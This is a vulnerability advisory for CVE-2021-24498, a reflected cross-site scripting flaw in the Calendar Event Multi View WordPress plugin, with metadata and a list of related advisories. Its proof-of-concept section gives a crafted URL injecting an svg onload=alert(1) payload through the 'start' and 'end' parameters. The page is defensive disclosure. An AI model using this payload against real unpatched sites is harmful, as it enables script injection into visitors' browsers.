Calendar Event Multi View < 1.4.01 – Unauthenticated Reflected Cross-Site Scripting (XSS) | CVE 2021-24498 | Plugin Vulnerabilities

Description

The plugin does not sanitise or escape the 'start' and 'end' GET parameters before outputting them in the page (via php/edit.php), leading to a reflected Cross-Site Scripting issue.

Proof of Concept

https://www.example.com/?cpmvc_id=1&cpmvc_do_action=mvparse&f=edit&month_index=0&delete=1&palette=0&paletteDefault=F00&calid=1&id=999&start=a%22%3E%3Csvg/%3E%3C%22
&end=a%22%3E%3Csvg/onload=alert(1)%3E%3C%22

Affects Plugins

cp-multi-view-calendar

Fixed in 1.4.01

References

CVE

URL

https://plugins.trac.wordpress.org/changeset/2557721/cp-multi-view-calendar

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

iohex

Submitter

iohex

Submitter twitter

Verified

Yes

WPVDB ID

3c5a5187-42b3-4f88-9b0e-4fdfa1c39e86

Timeline

Publicly Published

2021-07-05 (about 4 years ago)

Added

2021-07-05 (about 4 years ago)

Last Updated

2021-08-10 (about 4 years ago)

Other

Published

Title

Published

2014-08-01

Title

ShrimpTest 1.0b2 - plugins/plugin-notification.php Unspecified XSS

Published

2025-12-06

Title

JNews Gallery < 12.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-02-17

Title

Zigaform – Price Calculator & Cost Estimation Form Builder Lite < 7.4.8 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2024-03-25

Title

WC Builder < 1.0.19 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2025-12-05

Title

Ultra Skype Button <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'btn_id' Shortcode Attribute